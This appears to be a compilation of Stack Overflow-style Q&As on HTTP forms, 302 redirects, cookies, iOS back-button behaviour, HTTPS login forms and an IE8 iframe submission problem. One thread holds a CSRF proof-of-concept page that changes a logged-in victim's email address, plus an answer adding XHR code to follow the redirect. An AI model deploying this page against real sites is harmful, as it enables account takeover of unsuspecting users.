Cookie not stored on response/redirect - redirect

I simply cannot make a 302 redirect send a cookie.
I have a 302 request at https://mysite-api.azurewebsites.net/api/123456 which responds with:
{
status: 302,
headers: {
"Access-Control-Allow-Credentials": true,
"Set-Cookie": `testcookie3=abcd; Max-Age=2592000; SameSite=Lax; Secure; Path=/;`,
Location: `www.mysite.com`,
},
body: "Redirecting..."
}
I'm calling it with from my local machine, just as a html file in chrome/firefox:
<html>
<body>
<form
action="https://mysite-api.azurewebsites.net/api/123456/redirect"
method="post"
>
<label for="token">Token:</label>
<input type="text" id="token" name="token" /><br /><br />
<button type="submit">Submit this tab</button>
</form>
</body>
</html>
I can see it call the redirect request, I can see the reponse cookie is set.
However, it's not stored, and on the actual redirect it's immediately removed.
The test page simply displays Cookie: |{document.cookie}| and it's blank, no cookies are received by the redirect site.

It seems that when doing a redirect you simply must have the UI and API on the same domain.
Since this was the case in production, I had to ensure my development environment is also hosted on the same domain, and then the cookie:
Token=ABCDE; Max-Age=2592000; Path=/; Domain=subdomain.mysite.dev; HttpOnly; Secure;
Worked, for the UI at subdomain.mysite.dev and api at api.subdomain.mysite.dev.

Related

My CSRF PoC doesn't work, the request of csrf get 302 error!! Can anyone help me

I have made a CSRF PoC :
<html>
<head>
<title>CSRF Demo</title>
</head>
<body>
<form action="https://website.com" method="POST">
<input type="hidden" name="utf8" value="✓">
<input type="hidden" name="email_address[name]" value="hacker">
<input type="hidden" name="email_address[address]" value="hacker0ne#gmail.com">
<input type="submit" value="submit">
</form>
</body>
</html>
But when I run code, it doesn't work! I have check for the request and I found that request have status code : 302
Can anyone tell me why it happen and how to fix it!!!Thanks!!!(Sorry if bad English)
Status code 302 is a 3xx code: this is the family of redirect status codes. More precisely, status code 302 denotes that the resource was temporarily moved from the requested URL to another URL.
This status code was introduced in the HTTP 1.0 specification, and is replaced by status code 303 in the HTTP 1.1 specification.
When getting an HTTP response with status code 302, you will also get back a Location header with an URL as its value: this is the URL where you are redirected. Most browsers do this automatically, issuing an identical request to the new URL, but depending on your tool this may not be the case.
In this case, I assume your CSRF works as follows:
You create a fake webpage with the HTML code above, which hides the form fields.
You bait an unsuspecting user into visiting this webpage, hoping he is logged in.
The form is submitted to the URL with the logged in user's cookie (session ID or whatnot), unbeknownst to the user, thus executing the malicious action with the parameters which you control on behalf of the user.
The problem is here that you are sending the form to an URL which gives you back another URL, which is where you should send the form. However, the request must come from the user's browser, so as to send his cookie.
One way of fixing this would be to figure out if the redirect URL is always the same, and hardcode this URL into your form instead of the original one.
Another way, which is safer, would be to recover this URL programmatically (for example with an XHR getResponseHeader) and then send the request to the redirect URL.
The latter way could be implemented as follows:
<html>
<head>
<title>CSRF Demo</title>
</head>
<body>
<form id="malicious" action="https://website.com" method="POST">
<input type="hidden" name="utf8" value="✓">
<input type="hidden" name="email_address[name]" value="hacker">
<input type="hidden" name="email_address[address]" value="hacker0ne#gmail.com">
<input type="submit" value="submit">
</form>
<script>
const XHR = new XMLHttpRequest();
XHR.onreadystatechange = function() {
if (XHR.readyState == 4 && XHR.status == 302) {
// Send the form again to the correct URL
const redirectURL = XHR.getResponseHeader("Location");
document.getElementById("malicious").setAttribute("action", redirectURL);
}
}
// Get the redirect URL
XHR.open("POST", "https://website.com");
XHR.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
XHR.send("utf8=✓&email_address[name]=hacker&email_address[address]=hacker0ne#gmail.com");
</script>
</body>
</html>
I tested this implementation with httpstat, which generates responses with the status code you want. When the user presses the submit button, the form should be submitted to the correct URL. This does assume that you are indeed getting the 302 code and the browser/tool does not perform an automatic redirect!

Direct client access to Cloud Storage private asset

Perhaps you can help us to understand how I can solve my problem :
Our web application uses Street View API for custom navigation, so it needs to display panoramic pictures from Google Storage directly into the client.
These pictures are to be private, so URL should be like this :
https://storage.cloud.google.com/*bucket/panoramic_tile-zoom-x-y.jpg*
and these assets are called by the Street View API function.
This URI is not the direct link to the asset, but the response is an HMTL type, a form redirecting to a temporary URL :
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Wed, 20 Nov 2013 09:16:46 GMT
Expires: Wed, 20 Nov 2013 09:16:46 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 2341
Server: GSE
Alternate-Protocol: 443:quic
<html>
<head></head>
<body>
<form method="POST" enctype="multipart/form-data" action="https://doc-15fdi-03uv6-s-googleusercontent.commondatastorage.googleapis.com/gs/a...pwZw" id="redirectForm">
<input type="hidden" name="token" value="13668820...pj1onfrc2gvdfrp">
<input type="hidden" name="a" value="AGjQbs4J...b1PUgwjq4O-B7MfcD3fVpo5WrOw">
</form>
<script language="JavaScript" type="text/javascript">
document.getElementById('redirectForm').submit();
</script>
</body>
</html>
Using AJAX again to retrieve the image asset, for each tile of the panoramic view could be performed but would likely to slow down performance of the website.
Comparatively, if assets are public, displaying the pictures is straightforward.
Do you know a way to request private GS asset with fixed URLs?
Thank you for your time.
Jeremie

iOS browser back button issuing an HTTP GET instead of expected POST

I'm maintaining a website which has a series of forms that user submits. Each form does an HTTP POST to the server, which then renders the next form to the browser.
i.e., index.html contains a <form action="form1.php" method="post">, and then form1.php renders a <form action="form2.php" method="post">, etc.
When I navigate using the back button from say, form2.php to form1.php on my iPhone, the request is an HTTP GET for form1.php, rather than a resubmit using HTTP POST.
This happens intermittently, but more reliably if I minimize safari and then re-open it again before I hit the 'back' button.
Note: This happens whether I'm using chrome or safari on my iPhone.
My expectation was that these requests would be resubmitted using POST. Is that wrong?
I have a small repro set up here:
http://kong.idlemonkeys.net/~shaun/fi/
Sources -- sorry about some of the extra cruft, but they should convey the point.
index.html:
<html>
<head>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<form id="start-form" method="post" action="form1.php">
<input type="hidden" name="foo" value="bar"/>
</form>
<div id="click-me" style="width: 200px; height: 200px; background-color: pink;">Click me</div>
</body>
<script type="text/javascript">
$(document).ready(function() {
$('#click-me').click(function() {
$('#start-form').unbind('submit').submit();
});
});
</script>
</html>
form1.php:
<html>
<head>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<?php if($_SERVER['REQUEST_METHOD'] !== 'POST') { ?>
<h2> you're doing it wrong </h2>
<?php } ?>
<h1> This is form 1: <?php echo time(); ?></h1>
<h1> You requested this page with: <?php echo $_SERVER['REQUEST_METHOD'] ?></h1>
<form id="form1" method="post" action="form2.php">
<button type="submit" value="submit" name="submit">Submit</button>
</form>
</body>
<script type="text/javascript">
$(document).ready(function() {
$('#form1').submit(function () {
alert('starting form submit');
});
});
</script>
</html>
form2.php:
<html>
<body>
<h1> This is form 2: <?php echo time(); ?></h1>
<h1> You requested this page with: <?php echo $_SERVER['REQUEST_METHOD'] ?></h1>
<form method="post" action="form3.php">
<button type="submit" value="submit" name="submit">Submit</button>
</form>
</body>
</html>
Repro Steps:
Load http://kong.idlemonkeys.net/~shaun/fi/ in safari or chrome on iOS
Click the 'click me' button, which submits a POST to form1.php
Click the 'submit' button, which submits a POST to form2.php
Minimize safari (i.e., go to the home screen), then bring it back up.
Hit the 'back' button, notice that form1.php now informs you it was fetched via HTTP GET
I've been able to confirm the sequence of events using wireshark
My expectation was that these requests would be resubmitted using POST. Is that wrong?
I believe it is wrong. POST requests may not be idempotent, i.e. issuing the same post multiple times may change the state of the server each time, and that can be dangerous. The browser has no way of knowing whether you really intend to resubmit the form that got you to the current page, for example, so it can't assume that it's safe to send the POST again. Instead, it uses a GET because a GET won't affect the state of the server.
This very StackOverflow page is a fine example. After I click the 'save' button at the bottom, my browser will no doubt issue a POST to send my answer to the server, and then show me the resulting web page that includes my new answer. If I hit the back button, should my browser again issue the POST? That could result in a whole new copy of my answer being added, which doesn't seem like the right thing to do at all. Using a GET, on the other hand, will safely reload the previous page without resending my answer.
It is probably a good idea to always send HTTP 302 redirect after POST то avoid this sort of inconsistent browser behavior http://en.wikipedia.org/wiki/Post/Redirect/Get

How to send passwords using https?

Facebook currently uses HTTPS whenever your password is sent to us
So when I go to http://www.facebook.com and click login, they have sent my username and password through https even though I am not on a https connection yet.
Does anyone know how this works?
The form's action is https://www.facebook.com/login.php?login_attempt=1. The page with the login form doesn't need to be https, as it is just used to craft a request to the https page.
Also, since http is stateless, you're not really "on" a connection until the moment you send a request. After you get a response, and the page draws, you are no longer "on" the connection.
When you are creating a form just post it to a https page.
<html>
<body>
<form action="https://mypage.com" method="POST">
<input type="text" name="mytext" />
<input type="submit />
</form>
</body>
</html>
This should work even though you are not a https secured page.

IE8: Submit a form within an iFrame does not work

I have a frameset with an iFrame with a form in it.
When I submit the form IE8 does not send the form values. Firefox does.
Without the ambient frameset it works.
This is my code:
form.php:
<form method="post" action="doit.php" name="myForm" id="myForm" target="myFrame">
<input type="hidden" id="customer__csrf_token" name="customer[_csrf_token]" value="0136dba17fc1a81dc2c3b44dcb513712" />
...
<a onClick="document.myForm.submit();">Send</a>
</form>
site.html:
<iframe id="myFrame" name="myFrame" src="form.php" frameborder="0" >foo</iframe>
index.html:
<html>
<head></head>
<frameset rows='100%,*'>
<frame name='target' src='site.html'>
<noframes>foo</noframes>
</frameset>
</html>
I also tried to submit the form with these calls:
$('#myForm').submit();
document.forms['myForm'].submit();
parent.frames['myFrame'].document.forms['myForm'].submit();
<input type="submit" value="send" name="send" id="send" />
Can you help me?
EDIT:
I found the problem. I use the symfony framework. symfony uses a hidden csrf token in combination with a cookie value to secure the form trasmission. For some reason in my case IE8 is not able to store this cookie. Now I removed the csrf token from the form to get it working correctly.
CSRF was not the main problem. The problem in my case was caused by the IE security settings. IE does not allow a.o. cookies from domains with an underscore in it.
My domain was foo_bar.dev.domain.com, after chaning it to foo-bar.dev.domain.com it worked, also with enabled CSRF.